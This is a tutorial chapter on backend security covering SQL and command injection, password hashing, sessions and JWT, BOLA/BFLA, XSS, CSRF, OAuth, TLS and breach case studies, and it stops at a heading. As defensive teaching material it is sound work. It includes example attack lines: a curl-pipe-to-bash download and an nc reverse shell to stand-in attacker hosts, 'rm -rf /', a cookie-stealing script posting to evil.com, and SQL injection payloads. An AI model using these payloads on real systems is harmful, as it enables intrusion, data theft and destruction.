Backend Security
Security is not a feature you bolt on at the end โ it is a mindset you carry into every line of code. This chapter covers the most impactful attack classes a backend engineer will encounter: injection attacks, broken authentication, broken authorization, XSS, CSRF, and misconfiguration โ with the mental models and code to prevent all of them.
The Security Mindset โ Think Like an Attacker
"Attackers don't care about your framework or language. They only ask one question: where did the developer make an assumption?"
Every significant vulnerability in the history of software traces back to a developer assuming something that an attacker violated:
- Assuming the input coming from the user will be clean and well-formed.
- Assuming the user is who they claim to be.
- Assuming the request is coming from your own front end.
- Assuming nobody will open the browser's network tab and modify parameters.
These assumptions feel reasonable under deadline pressure โ you're always thinking in the happy path. Attackers exploit the unhappy paths. They poke at every boundary, modify every input, and try to guess every assumption you made.
The Root Cause of Almost Every Attack
Your backend application speaks multiple languages simultaneously: SQL to the database, HTML/JS to the browser, shell commands to the OS. Each language has its own grammar, its own special characters, its own way of separating commands from data.
Injection attacks happen when user data (which lives in one language) bleeds into another language's context and gets interpreted as a command rather than data. This single insight explains SQL injection, command injection, XSS, and more.
Vulnerability Overview
User input bleeds into SQL query. Attacker can read all data, delete tables, or run OS commands via DB.
User input bleeds into a shell command. Attacker can run
rm -rf / or install spyware on your server.
User content stored as HTML. Malicious script runs in other users' browsers โ steals sessions, redirects, phishes.
Plain-text passwords, weak hashing, predictable session IDs, missing rate limits โ attacker takes over accounts.
Auth check at routing layer but not at DB layer. User A reads User B's invoices. Member accesses admin API.
Cross-site form submissions trick server. Secrets in git, debug logs in production, wrong cookie flags.
SQL Injection
SQL injection has been the #1 most destructive vulnerability for decades. It works because developers build SQL queries by string concatenation โ dropping raw user input directly into the query template.
The Attack โ Step by Step
Consider a login query built by concatenation:
SQL โ Vulnerable (Never Do This)-- Template on server: SELECT * FROM users WHERE email = '' + userInput + '' -- Happy path (Alice logs in normally): SELECT * FROM users WHERE email = 'alice@gmail.com' -- Returns Alice's row โ -- Attacker types: ' OR '1'='1 -- SELECT * FROM users WHERE email = '' OR '1'='1' --' -- Returns ALL users โ data leak -- Attacker types: '; DROP TABLE users; -- SELECT * FROM users WHERE email = ''; DROP TABLE users; --' -- Deletes your entire users table
How Special SQL Characters Enable the Attack
| Character | Meaning in SQL | How Attacker Uses It |
|---|---|---|
' |
String delimiter | Closes the existing string literal, escapes data context |
; |
Statement separator | Ends the legitimate query; starts a new malicious one |
-- |
Line comment | Comments out the rest of the original query (trailing ') |
OR |
Logical operator | Creates an always-true condition to bypass WHERE filters |
UNION |
Combines result sets | Extracts data from other tables (payments, secrets) |
The Fix โ Parameterised Queries
Instead of building one string with everything mashed together, send two separate things to the database: (1) the query template with placeholder slots, (2) the user data as separate arguments. The database driver guarantees that whatever goes into a slot is treated as a pure string โ never as executable SQL.
Go โ pgx parameterised query// โ NEVER โ string concatenation query := "SELECT * FROM users WHERE email = '" + userInput + "'" // โ ALWAYS โ parameterised ($1 is the slot) row := db.QueryRow(ctx, "SELECT id, name FROM users WHERE email = $1", userInput, // passed separately โ treated purely as data ) // With an ORM (GORM) โ parameterised automatically db.Where("email = ?", userInput).First(&user)
Additional Hardening โ Minimal DB Permissions
Even if a SQL injection succeeds, you can limit the blast radius. The database user your backend uses to connect should only have DML permissions (INSERT, UPDATE, DELETE, SELECT) โ never DDL permissions (DROP TABLE, CREATE TABLE, ALTER). A hacker who gets SQL injection can't delete your tables if the DB user can't execute DDL.
NoSQL Injection (MongoDB)
MongoDB queries are JSON objects, not SQL strings. But they support operators (prefixed with
$) like $ne (not equal), $gt, $exists. If you pass
raw user-supplied JSON directly to a query, an attacker can inject these operators:
JavaScript โ MongoDB Injection// โ VULNERABLE: attacker sends {"$ne": null} as email db.users.find({ email: req.body.email }) // Becomes: { email: { $ne: null } } โ returns ALL users // โ FIX: validate that email is a plain string, not an object if (typeof req.body.email !== 'string') { return res.status(400).json({ error: 'Invalid email' }) } db.users.find({ email: req.body.email })
Command Injection
Command injection is SQL injection at the OS level. Your backend sometimes needs to call external programs (image processing with FFmpeg, file compression, PDF generation). If you build the shell command by concatenating user input, an attacker can inject shell commands into your server.
The Attack
Shell โ Vulnerable Image Resize# User supplies the output filename. Attacker sends: "out.jpg; rm -rf /" ffmpeg -i input.jpg -vf scale=800:600 out.jpg; rm -rf / # โ ffmpeg done โ now this runs # Attacker can also use: # out.jpg && curl evil.com/malware.sh | bash (install backdoor) # out.jpg & nc -e /bin/sh attacker.com 4444 & (reverse shell in background)
Shell special characters that enable this:
| Character | Shell Meaning | Attack Use |
|---|---|---|
; |
Separate commands | Run second command after first |
&& |
Run if previous succeeded | Chain exploit after legitimate command |
| |
Pipe output | Feed output to destructive command |
& |
Run in background | Install persistent spyware silently |
$() |
Command substitution | Execute arbitrary command inline |
The Fix โ Separate Command from Arguments
Every language provides functions that accept the command and arguments as separate parameters. These pass arguments directly to the process without going through a shell interpreter, so special characters are never interpreted.
Go โ exec.Command (safe)import "os/exec" // โ VULNERABLE โ passes through shell interpreter cmd := exec.Command("sh", "-c", "ffmpeg -i input.jpg -o "+userFilename) // โ SAFE โ command and each argument are separate params // Shell never sees userFilename โ it goes straight to the process cmd := exec.Command( "ffmpeg", "-i", "input.jpg", "-vf", "scale=800:600", userFilename, // treated as a string argument, not shell code ) output, err := cmd.Output()
Python โ subprocess (safe)import subprocess # โ VULNERABLE โ shell=True sends everything through sh subprocess.run(f"ffmpeg -i input.jpg -o {user_filename}", shell=True) # โ SAFE โ list form, shell=False (default) subprocess.run([ "ffmpeg", "-i", "input.jpg", "-vf", "scale=800:600", user_filename # just a string, not interpreted ], check=True)
Password Storage โ The Three Evolutions
Databases get breached every day. When they do, how you stored passwords determines whether your users' lives are destroyed or not.
Why Plain Text Fails
Every database breach exposes all passwords instantly. Worse: over 70% of users reuse passwords across sites, so one breach hands attackers the keys to email, banking, and social media accounts they didn't even target.
Why Hashing Alone Isn't Enough
Attackers pre-compute rainbow tables โ massive lookup tables mapping common passwords (like "123456", "password", "qwerty") to their hashes. If your hash matches a rainbow table entry, they reverse-lookup the plaintext instantly. A GPU can compute billions of SHA-256 hashes per second.
Salting โ Defeating Rainbow Tables
A salt is a cryptographically random string generated uniquely for each user. You concatenate the salt with the password before hashing. Since each user's salt is different, even two users with the same password produce completely different hashes. Rainbow tables become useless โ they'd need a new table per user.
Slow Hashing โ Defeating Brute Force
General-purpose hash functions (SHA-256, MD5) are designed to be fast. A GPU can do billions per second. Password hashing algorithms (bcrypt, scrypt, Argon2id) are deliberately slow via a configurable cost/work factor. At 400ms per hash:
- Legitimate user logging in: 400ms โ imperceptible, totally fine.
- Attacker brute-forcing offline: 400ms per attempt โ ~2.5 attempts/second instead of billions โ cracking takes centuries.
Argon2id (winner of the
Password Hashing Competition). Fallback: bcrypt with cost factor โฅ12. Never use SHA-256, MD5, or SHA-1
for passwords.Go โ Argon2id (golang.org/x/crypto)import ( "crypto/rand" "golang.org/x/crypto/argon2" "encoding/base64" ) func HashPassword(password string) (string, error) { // Generate cryptographically random 16-byte salt salt := make([]byte, 16) rand.Read(salt) // Argon2id params: time=1, memory=64MB, threads=4, keyLen=32 hash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32) // Store: $argon2id$salt$hash (both needed to verify) encoded := base64.RawStdEncoding.EncodeToString(salt) + "$" + base64.RawStdEncoding.EncodeToString(hash) return encoded, nil } func VerifyPassword(password, stored string) bool { // Re-hash with stored salt, compare โ never compare raw hashes with == parts := strings.Split(stored, "$") salt, _ := base64.RawStdEncoding.DecodeString(parts[0]) newHash := argon2.IDKey([]byte(password), salt, 1, 64*1024, 4, 32) return subtle.ConstantTimeCompare(newHash, mustDecode(parts[1])) == 1 }
Sessions, Cookies & the Critical Flags
After a user authenticates, you need to remember them across requests. This is done via a session: a random identifier stored server-side, linked to the user's data, sent to the browser as a cookie.
The Session Flow
- User submits email + password.
- Server verifies password (argon2id hash match).
- Server generates a cryptographically random 128โ256 bit session ID.
- Server stores the session ID in Redis/DB with user metadata (user ID, IP, user-agent, expiry, created_at).
- Server sends the session ID to browser in a cookie with strict security flags.
- Every subsequent request: browser sends cookie โ server looks up session ID โ identifies user.
The Three Critical Cookie Flags
| Flag | Value | What It Does | Without It |
|---|---|---|---|
| HttpOnly | true |
JS cannot read this cookie | XSS steals session ID via document.cookie |
| Secure | true |
Cookie only sent over HTTPS | Session stolen by Wi-Fi eavesdropper or Wireshark |
| SameSite | Strict or Lax |
Cookie not sent in cross-origin requests | CSRF attacks can use your cookie from evil.com |
Go โ Secure Cookiehttp.SetCookie(w, &http.Cookie{ Name: "session_id", Value: sessionID, HttpOnly: true, // JS cannot access Secure: true, // HTTPS only SameSite: http.SameSiteStrictMode, // no cross-site MaxAge: 7 * 24 * 3600, // 7 days Path: "/", })
HttpOnly cookies.JWT โ Stateless Authentication
A JWT (JSON Web Token) is an alternative to server-side sessions. Instead of storing session data in the DB and sending only an ID to the client, the JWT contains the session data โ signed cryptographically so it cannot be tampered with.
JWT Structure
JWT vs Sessions โ When to Use Which
Sessions (Stateful) โ Preferred
- Instant revocation โ delete the session row
- No data exposed to client
- Simpler architecture for most SaaS
- Scalable with Redis (shared session store)
- Recommended by most security experts
JWT (Stateless)
- No DB lookup per request (faster at scale)
- Revocation is hard โ blacklist or short expiry needed
- If account compromised, can't force logout immediately
- Workarounds: short expiry (5โ10min) + refresh tokens
- Use only if stateless is a hard requirement
If You Must Use JWT โ Best Practices
- Short access token expiry โ 5โ15 minutes. Long-lived tokens are stolen tokens that never expire.
- Refresh token rotation โ issue a new access + refresh token pair on each refresh. Stored server-side.
- HttpOnly cookie storage โ not localStorage. XSS cannot steal what JS cannot read.
- Strong secret โ โฅ256-bit random secret for HMAC signing. Rotate it periodically.
- Verify on every request โ don't trust a JWT just because it's well-formed. Always verify the signature.
Rate Limiting Authentication Endpoints
Without rate limiting, an attacker can send millions of login attempts per second, either to brute-force passwords or to take down your server (DoS). Rate limiting is mandatory on all auth endpoints.
Three Layers of Rate Limiting
Go โ Rate Limiting with golang.org/x/time/rateimport ( "golang.org/x/time/rate" "sync" "net/http" ) var ( mu sync.Mutex limiters = map[string]*rate.Limiter{} ) // Per-IP limiter: 5 requests per second, burst of 10 func getIPLimiter(ip string) *rate.Limiter { mu.Lock() defer mu.Unlock() l, ok := limiters[ip] if !ok { l = rate.NewLimiter(5, 10) limiters[ip] = l } return l } func RateLimitMiddleware(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ip := r.RemoteAddr if !getIPLimiter(ip).Allow() { http.Error(w, "too many requests", http.StatusTooManyRequests) return } next.ServeHTTP(w, r) }) }
Authorization Vulnerabilities โ BOLA & BFLA
"Authentication tells you who the user is. Authorization tells you what they're allowed to do. Most engineers get authentication right and authorization wrong."
The Core Mistake
Authorization is checked at the routing layer (middleware). Engineers then assume: "the user passed auth, so they can access anything from here." This creates a dangerous false sense of security.
โ BOLA โ Broken Object Level Authorization
(Also called IDOR โ Insecure Direct Object Reference)
User A can access, modify, or delete the resources of User B by guessing or iterating their IDs.
SQL โ BOLA Fix-- โ VULNERABLE: fetches invoice 5 regardless of who is asking SELECT * FROM invoices WHERE id = $1 -- โ FIXED: also requires the invoice to belong to the requesting user SELECT * FROM invoices WHERE id = $1 AND user_id = $2 -- $2 comes from the verified session/JWT, not user input -- If no row: return 404 (not 403) -- Why 404? A 403 CONFIRMS the resource exists โ information leak -- A 404 gives the attacker no information โ is it missing, or forbidden?
โก BFLA โ Broken Function Level Authorization
A regular user accesses admin-only endpoints because role checks are missing at the routing layer. Believing "nobody knows the /admin URL" is security through obscurity โ which is not security at all.
Go โ Role Middlewarefunc RequireRole(role string) func(http.Handler) http.Handler { return func(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { user, ok := r.Context().Value("user").(User) if !ok || user.Role != role { http.Error(w, "forbidden", http.StatusForbidden) return } next.ServeHTTP(w, r) }) } } // Router setup r.With(RequireAuth, RequireRole("admin")). Get("/admin/invoices", adminInvoicesHandler)
The Horizontal vs Vertical Mental Model
Horizontal Attack (BOLA)
- User A reads/edits User B's resources
- Scope widens across users
- Fix: add
AND user_id = $ctx_userto every query - Return 404, not 403
Vertical Attack (BFLA)
- Regular user accesses admin functions
- Scope elevates up privilege levels
- Fix: role middleware on every sensitive route
- Default-deny: deny anything not explicitly allowed
Use UUIDs, Not Sequential IDs, in URLs
Sequential IDs (/invoices/101, /invoices/102) let attackers enumerate all
resources. A UUID like /invoices/f47ac10b-58cc-4372-a567-0e02b2c3d479 is effectively
unguessable โ 2ยนยฒยฒ possible values. Use UUIDs as primary keys in any table whose records are exposed in
URLs.
Cross-Site Scripting (XSS)
XSS occurs when an attacker's JavaScript executes in another user's browser, in the context of your platform. It's injection โ but the target is the browser's HTML/JS engine instead of the database.
Why XSS Is Dangerous
JavaScript running in your platform's context can:
- Read all
document.cookie(session tokens not protected by HttpOnly). - Read
localStorage(JWT tokens, API keys). - Make API requests as the logged-in user (impersonation).
- Redirect users to phishing pages to steal credentials.
- Alter page content to deceive the user (fake login forms, fake alerts).
Stored XSS โ The Most Dangerous Type
A user submits a comment/post containing a <script> tag. Your server stores it. Every
user who views that post has the script execute in their browser.
Stored XSS Attack<!-- Attacker submits this as a "comment" --> <script> // Steal session cookie and send to attacker's server fetch('https://evil.com/steal?c=' + document.cookie); // Or silently redirect to phishing page window.location = 'https://evil.com/fake-login'; </script> <!-- This script is stored in your DB and injected into every user's browser -->
Prevention โ Sanitise Before Storing
Before storing any user-provided HTML/markdown, strip dangerous tags and attributes. Use a battle-tested library; never write your own sanitiser.
Python โ bleach sanitisationimport bleach ALLOWED_TAGS = ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li'] ALLOWED_ATTRS = {'a': ['href']} def sanitise_comment(raw_html: str) -> str: # Strip ALL tags not in allow-list, strip dangerous attributes return bleach.clean( raw_html, tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRS, strip=True # strip disallowed, don't escape ) # <script>...</script> โ stripped entirely # <b>bold</b> โ kept # <img onerror="..."> โ attribute stripped
Content Security Policy (CSP) โ Last Line of Defence
CSP is an HTTP response header that tells the browser exactly which scripts are allowed to run.
Even if an attacker injects a <script> tag, the browser blocks it if it violates the
policy.
HTTP Header โ CSP# Only load scripts from your own domain. Block all inline scripts. Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'
CSRF โ Cross-Site Request Forgery
CSRF exploits the fact that browsers automatically attach cookies to requests, even when the request
originates from a different website. An attacker on evil.com can trigger a request to
bank.com and your browser includes your bank.com session cookie.
SameSite=Strict or SameSite=Lax on your session cookie (which browsers
default to Lax), and you configure CORS properly, you are protected. This section covers
the theory for legacy systems.Mitigations
- SameSite cookie flag โ
StrictorLaxblocks cookies from cross-origin requests. Modern browsers default toLax. - CORS configuration โ only allow requests from your own frontend domain.
- CSRF tokens โ for legacy form-based systems: embed a unique token in every form, verify it server-side.
Misconfigurations โ Security Holes You Create Yourself
โ Secrets in Version Control
The most catastrophically common mistake: API keys, database passwords, JWT secrets, or encryption keys committed to Git. Once in commit history, rotating the secret in code doesn't help โ the old value is permanently in git log.
Shell โ Pre-commit hook with gitleaks# Install: brew install gitleaks # .git/hooks/pre-commit gitleaks protect --staged --no-git -v # Blocks commit if API keys, passwords, tokens detected in staged files
โก Debug/Verbose Logs in Production
In development, log level is typically DEBUG โ full stack traces, SQL queries, request
bodies. In production it must be INFO or WARN. Debug logs in production
expose:
- Table names, column names, query structure โ enables targeted SQL injection.
- File paths and function names โ reveals codebase structure.
- User PII accidentally logged โ GDPR violation + breach liability.
Go โ Environment-aware log levelimport "log/slog" func setupLogger() { level := slog.LevelInfo // default: production if os.Getenv("APP_ENV") == "development" { level = slog.LevelDebug } slog.SetDefault(slog.New(slog.NewJSONHandler(os.Stdout, &slog.HandlerOptions{Level: level}))) }
โข Security Headers
A single middleware call adds all industry-standard security headers. Every major framework has one:
| Header | Purpose |
|---|---|
Content-Security-Policy |
Controls which scripts/resources can run (prevents XSS) |
X-Frame-Options: DENY |
Prevents embedding in iframes (prevents clickjacking) |
X-Content-Type-Options: nosniff |
Prevents MIME-type sniffing attacks |
Strict-Transport-Security |
Forces HTTPS โ prevents SSL stripping |
Referrer-Policy |
Controls how much referrer info is sent cross-origin |
Go โ Secure Headers Middleware (chi/middleware)import "github.com/go-chi/chi/v5/middleware" r.Use(middleware.SetHeader("X-Frame-Options", "DENY")) r.Use(middleware.SetHeader("X-Content-Type-Options", "nosniff")) r.Use(middleware.SetHeader("Referrer-Policy", "strict-origin-when-cross-origin")) r.Use(middleware.SetHeader( "Strict-Transport-Security", "max-age=63072000; includeSubDomains; preload")) r.Use(middleware.SetHeader( "Content-Security-Policy", "default-src 'self'; script-src 'self'; object-src 'none'"))
Defence in Depth โ No Single Layer Is Enough
"No single defence is perfect. Build in layers. An attacker must bypass all of them simultaneously โ which is exponentially harder."
The Three Questions to Ask at Every Boundary
- Where is data crossing a boundary? (User โ SQL, User โ Shell, User โ HTML)
- What am I assuming about this data? (Is it clean? Is it a valid email? Is it safe?)
- What if those assumptions are wrong? (What does the attacker gain if they violate this assumption?)
If you ask these three questions for every piece of code that handles user input, you will avoid 99% of the vulnerabilities that break real production systems.
Go โ Secure Patterns Reference
Complete Secure Login Endpoint
Gofunc loginHandler(db *pgxpool.Pool, redis *redis.Client) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { var req struct { Email string `json:"email"` Password string `json:"password"` } json.NewDecoder(r.Body).Decode(&req) // 1. Validate format (first line of defence) if !isValidEmail(req.Email) || len(req.Password) < 8 { http.Error(w, "invalid credentials", 400) return } // 2. Parameterised query โ no SQL injection possible var userID string var hashedPass string err := db.QueryRow(ctx, "SELECT id, password_hash FROM users WHERE email = $1", req.Email).Scan(&userID, &hashedPass) // 3. Generic error โ never reveal whether email exists if err != nil || !verifyArgon2(req.Password, hashedPass) { http.Error(w, "invalid email or password", 401) return } // 4. Cryptographically secure session ID sessionID := generateSecureToken(32) // 5. Store session in Redis with metadata redis.Set(ctx, "session:"+sessionID, userID, 7*24*time.Hour) // 6. Secure cookie โ HttpOnly, Secure, SameSite=Strict http.SetCookie(w, &http.Cookie{ Name: "session_id", Value: sessionID, HttpOnly: true, Secure: true, SameSite: http.SameSiteStrictMode, MaxAge: 7 * 24 * 3600, }) w.WriteHeader(http.StatusOK) } } func generateSecureToken(n int) string { b := make([]byte, n) rand.Read(b) // crypto/rand โ not math/rand return base64.URLEncoding.EncodeToString(b) }
Python โ Secure Patterns Reference
Python โ FastAPI Secure Authfrom fastapi import FastAPI, HTTPException, Response from argon2 import PasswordHasher from argon2.exceptions import VerifyMismatchError import secrets ph = PasswordHasher(time_cost=1, memory_cost=65536, parallelism=4) @app.post("/login") async def login(email: str, password: str, response: Response): # 1. Parameterised query (psycopg2 / asyncpg) row = await db.fetchrow( "SELECT id, password_hash FROM users WHERE email = $1", email ) # 2. Constant-time verify. Generic error always. valid = False if row: try: ph.verify(row["password_hash"], password) valid = True except VerifyMismatchError: pass if not valid: raise HTTPException(401, "invalid email or password") # 3. Cryptographically secure session token (32 bytes = 256 bits) session_id = secrets.token_urlsafe(32) await redis.set(f"session:{session_id}", row["id"], ex=604800) # 4. HttpOnly + Secure + SameSite cookie response.set_cookie( key="session_id", value=session_id, httponly=True, secure=True, samesite="strict", max_age=604800 ) return {"status": "ok"}
Python โ BOLA-safe DB queryasync def get_invoice(invoice_id: int, current_user_id: int): # โ ownership check IN the query โ not after row = await db.fetchrow( "SELECT * FROM invoices WHERE id=$1 AND user_id=$2", invoice_id, current_user_id ) if not row: # 404 โ not 403. Don't confirm the invoice exists. raise HTTPException(404, "invoice not found") return row
OAuth 2.0 & OIDC โ Delegated Authentication
OAuth 2.0 is an authorization framework that allows a third-party application to obtain limited access to a user's account on another service โ without ever seeing the user's password. OpenID Connect (OIDC) is a thin identity layer on top of OAuth 2.0 that adds authentication (who the user is), not just authorization (what they can do).
"Sign in with Google" is OIDC. "Allow this app to read your Google Drive" is OAuth 2.0. In practice, modern auth providers (Clerk, Auth0) combine both.
The Four Roles
| Role | Who It Is | Example |
|---|---|---|
| Resource Owner | The user | Alice |
| Client | Your application | YourSaaS.com |
| Authorization Server | Issues tokens after consent | Google, GitHub, Auth0 |
| Resource Server | API that holds user data | Google Calendar API |
Authorization Code Flow โ The Secure Standard
This is the flow used by every serious web application. It keeps tokens off the browser URL bar and exchanges a short-lived code for tokens server-side.
Key Security Rules for OAuth
- Always use PKCE โ even for server-side apps. It prevents code interception attacks
where an attacker intercepts the
codefrom the redirect URL. - Validate the
stateparameter โ generate a random value, store it in the session before redirect, verify it when Google redirects back. This prevents CSRF on the OAuth flow itself. - Never expose
access_tokento the browser โ exchange the code server-side and issue your own session cookie. The access token is a credential; treat it like a password. - Link OAuth to existing accounts by email carefully โ if a user already has an email+password account and signs in via Google with the same email, you must decide: auto-link (convenient, small risk) or require confirmation. Auto-linking without verification enables account takeover if the OAuth provider is compromised.
- Verify the
aud(audience) claim in the id_token โ ensures the token was issued for your app, not another OAuth client using the same provider.
OIDC vs OAuth 2.0 โ One-Line Difference
| Protocol | Answers | Token |
|---|---|---|
| OAuth 2.0 | "What can this app do?" | Access Token (opaque or JWT) |
| OIDC | "Who is this user?" | ID Token (always JWT with sub, email, iat) |
Go โ Verify OIDC ID Token (google/go-oidc)import ( "github.com/coreos/go-oidc/v3/oidc" "golang.org/x/oauth2" ) var ( provider, _ = oidc.NewProvider(ctx, "https://accounts.google.com") verifier = provider.Verifier(&oidc.Config{ClientID: os.Getenv("GOOGLE_CLIENT_ID")}) oauth2Cfg = &oauth2.Config{ ClientID: os.Getenv("GOOGLE_CLIENT_ID"), ClientSecret: os.Getenv("GOOGLE_CLIENT_SECRET"), RedirectURL: "https://yourapp.com/auth/callback", Scopes: []string{oidc.ScopeOpenID, "email", "profile"}, Endpoint: provider.Endpoint(), } ) func callbackHandler(w http.ResponseWriter, r *http.Request) { // 1. Verify state matches what we stored in session (CSRF protection) if r.URL.Query().Get("state") != getSessionState(r) { http.Error(w, "invalid state", 400); return } // 2. Exchange code for tokens (server-to-server) token, _ := oauth2Cfg.Exchange(ctx, r.URL.Query().Get("code")) rawIDToken := token.Extra("id_token").(string) // 3. Verify ID token signature + aud + exp idToken, err := verifier.Verify(ctx, rawIDToken) if err != nil { http.Error(w, "invalid token", 401); return } // 4. Extract claims var claims struct { Email string `json:"email"`; Sub string `json:"sub"` } idToken.Claims(&claims) // 5. Upsert user in DB, create session, set cookie userID := upsertUser(claims.Sub, claims.Email) setSecureSessionCookie(w, userID) http.Redirect(w, r, "/dashboard", http.StatusFound) }
HTTPS & TLS Internals
HTTPS is HTTP with a TLS (Transport Layer Security) layer between the TCP connection and your HTTP messages. Everything inside it โ headers, body, cookies, tokens โ is encrypted in transit. An attacker who intercepts the packets sees only random ciphertext.
Why TLS Matters to a Backend Engineer
- Without HTTPS, session cookies and JWT tokens are stolen by anyone on the same Wi-Fi (Wireshark captures them in plaintext).
- The
Securecookie flag only works over HTTPS โ without it, cookies are sent over HTTP too. - HTTP/2 (and HTTP/3) require TLS โ no TLS means no performance benefits.
- Search engines penalise HTTP sites; browsers show "Not Secure" warnings.
The TLS Handshake โ What Actually Happens
Key Concepts
| Concept | What It Means | Why It Matters |
|---|---|---|
| Certificate | Server's public key + identity, signed by a CA | Proves you're talking to the real server, not an impersonator |
| Certificate Authority (CA) | Trusted third party that signs certs (Let's Encrypt, DigiCert) | Chain of trust: browser trusts CA โ CA vouches for server |
| ECDHE | Elliptic Curve Diffie-Hellman Ephemeral key exchange | Forward secrecy: each session uses a fresh key pair |
| Forward Secrecy | Session keys aren't stored; can't decrypt past traffic even with private key | A future key compromise doesn't expose old sessions |
| HSTS | HTTP Strict Transport Security header | Forces HTTPS for your domain โ prevents SSL-stripping attacks |
| TLS 1.3 | Current standard (2018). Dropped weak ciphers from TLS 1.2 | Faster (1-RTT handshake), no known vulnerabilities |
Practical Checklist for Your Backend
- Use Let's Encrypt (free, auto-renewing) or your cloud provider's certificate manager.
- Set
Strict-Transport-Security: max-age=63072000; includeSubDomains; preloadโ tells browsers to always use HTTPS for your domain for 2 years. - Redirect all
http://traffic tohttps://at the load balancer / reverse proxy level (nginx, Caddy, Traefik). - Disable TLS 1.0 and TLS 1.1 โ they have known vulnerabilities (POODLE, BEAST). Only allow TLS 1.2 and TLS 1.3.
- Test your TLS config at ssllabs.com/ssltest โ aim for an A+ rating.
Caddy โ Automatic HTTPS (zero config)# Caddyfile โ Caddy automatically obtains and renews Let's Encrypt certs yourapp.com { reverse_proxy localhost:8080 # TLS 1.2+ enforced, HSTS set, HTTP redirected โ all automatic } # nginx equivalent server { listen 443 ssl; ssl_certificate /etc/letsencrypt/live/yourapp.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/yourapp.com/privkey.pem; ssl_protocols TLSv1.2 TLSv1.3; # disable 1.0 and 1.1 ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256; add_header Strict-Transport-Security "max-age=63072000" always; }
Penetration Testing Mindset โ Think Before You Ship
Penetration testing (pentesting) is the practice of attacking your own system the way a real attacker would โ before they get the chance. You don't need to be a professional pentester to apply this mindset. The goal is to build the habit of asking "how would I break this?" before you deploy.
The Attacker's Methodology (OWASP Testing Guide)
- Reconnaissance โ What endpoints exist? What technology stack? What error messages
leak? (
nmap, Google dorking, examining JS bundles) - Enumeration โ What user IDs exist? What routes? Fuzz with sequential IDs, common
paths (
/admin,/.env,/api/v1) - Exploitation โ Try injection payloads, bypass auth, escalate privileges
- Post-exploitation โ What can be exfiltrated, modified, or destroyed?
Quick Self-Audit Checklist
Before shipping any feature that touches user data or auth, run through these manually or in automated tests:
| Check | What to Test | Tool / Method |
|---|---|---|
| SQL Injection | Put ', '; DROP TABLE--, ' OR '1'='1 in every input
field |
sqlmap, manual |
| BOLA | Logged in as User A, request User B's resource IDs | Manual + Burp Suite |
| BFLA | Remove admin cookie/role, try hitting admin endpoints | Manual |
| XSS | Submit <script>alert(1)</script> in every text field |
Manual, OWASP ZAP |
| Auth bypass | Remove auth header entirely. Try expired tokens. Try tokens from another user. | Manual |
| Secrets | Search codebase and git history for hardcoded keys | gitleaks, trufflehog |
| Security headers | Check response headers for CSP, HSTS, X-Frame-Options | securityheaders.com |
| Rate limiting | Send 100+ login attempts, check if blocked | curl loop, k6 |
Burp Suite โ The Standard Tool
Burp Suite Community Edition (free) is a proxy that sits between your browser and your backend, letting you intercept, modify, and replay every request. It's the most widely used tool for manual pentesting.
- Intercept โ pause a request mid-flight and modify any parameter before it hits your server.
- Repeater โ replay a request with different payloads (great for testing injection).
- Intruder โ automated fuzzing โ try thousands of payloads against a parameter automatically.
- Scanner (Pro only) โ automated vulnerability scanning.
PortSwigger Web Security Academy โ Free Lab-Based Learning
The best free resource for hands-on security practice. Every vulnerability has:
- A clear explanation of the theory
- An interactive lab (real vulnerable web app, in-browser)
- A walkthrough if you get stuck
Start with: SQL Injection โ XSS โ IDOR (BOLA) โ Authentication vulnerabilities โ Access Control. Each module takes 1โ3 hours and teaches you more than reading theory alone ever could.
Automated Security Testing in CI/CD
GitHub Actions โ Security scan on every PRname: Security Scan on: [pull_request] jobs: scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: { fetch-depth: 0 } # full history for secret scanning # Scan for hardcoded secrets in entire git history - name: Gitleaks uses: gitleaks/gitleaks-action@v2 # Static analysis for Go security issues - name: Gosec uses: securego/gosec@master with: args: ./... # Dependency vulnerability check - name: Nancy (Go deps) run: | go list -json -m all | nancy sleuth
Real Incident Case Studies
Theory lands harder when you see what it cost real companies. These are four of the most instructive security breaches โ each one directly caused by a vulnerability covered in this chapter.
โ Equifax (2017) โ SQL Injection / Unpatched Dependency
What happened: Attackers exploited a known vulnerability (CVE-2017-5638) in Apache Struts โ a Java web framework Equifax used. The vulnerability allowed attackers to execute arbitrary OS commands via a specially crafted HTTP header. A patch had been available for two months before the breach. Equifax had not applied it.
What was missed:
- No automated dependency vulnerability scanning in CI/CD.
- No process for urgently patching critical CVEs.
- Internal network not segmented โ attackers moved laterally and accessed 48 additional databases once inside.
- SSL inspection was disabled due to an expired internal certificate โ malicious traffic went undetected for 76 days.
Lesson: Keep dependencies updated. Run automated CVE scans (dependabot,
snyk, nancy) on every build. Apply critical security patches within 24โ72
hours.
โก Uber (2022) โ Secrets in Code + Social Engineering
What happened: An 18-year-old attacker used MFA fatigue (bombarding an Uber contractor with push notifications until they accepted one) to gain initial access. They then found a PowerShell script on an internal network share that contained hardcoded admin credentials for Uber's Privileged Access Management (PAM) tool. With those credentials, they had access to virtually everything.
What was missed:
- Hardcoded secrets in a script on an internal share โ not in a secrets manager.
- No MFA-resistant authentication (hardware keys / passkeys) for privileged access.
- MFA push fatigue not mitigated (no number-matching, no rate limit on push attempts).
- Over-privileged contractor access โ too much lateral movement possible from one compromised account.
Lesson: Secrets belong in a secrets manager (AWS Secrets Manager, HashiCorp Vault, Doppler) โ never in scripts, config files, or chat messages. Use phishing-resistant MFA (hardware keys) for admin access. Apply least-privilege everywhere.
โข Facebook (2018) โ Broken Authorization (Access Token Theft)
What happened: The "View As" feature let users see their profile as another user would see it. A bug in this feature caused it to incorrectly generate a video uploader component with a live access token โ belonging to the user being viewed, not the viewer. Three compounding bugs created this flaw:
- Video uploader was incorrectly shown in "View As" mode.
- The uploader generated an access token for the wrong user (the viewed user, not the viewer).
- The access token had full account permissions instead of limited scope.
Lesson: Authorization is hard to test manually at scale. The BOLA principle applies: verify ownership at every data access point. Use short-lived, minimally-scoped tokens. Build automated tests specifically for authorization boundaries.
โฃ LastPass (2022) โ Developer Machine Compromise โ Production Data
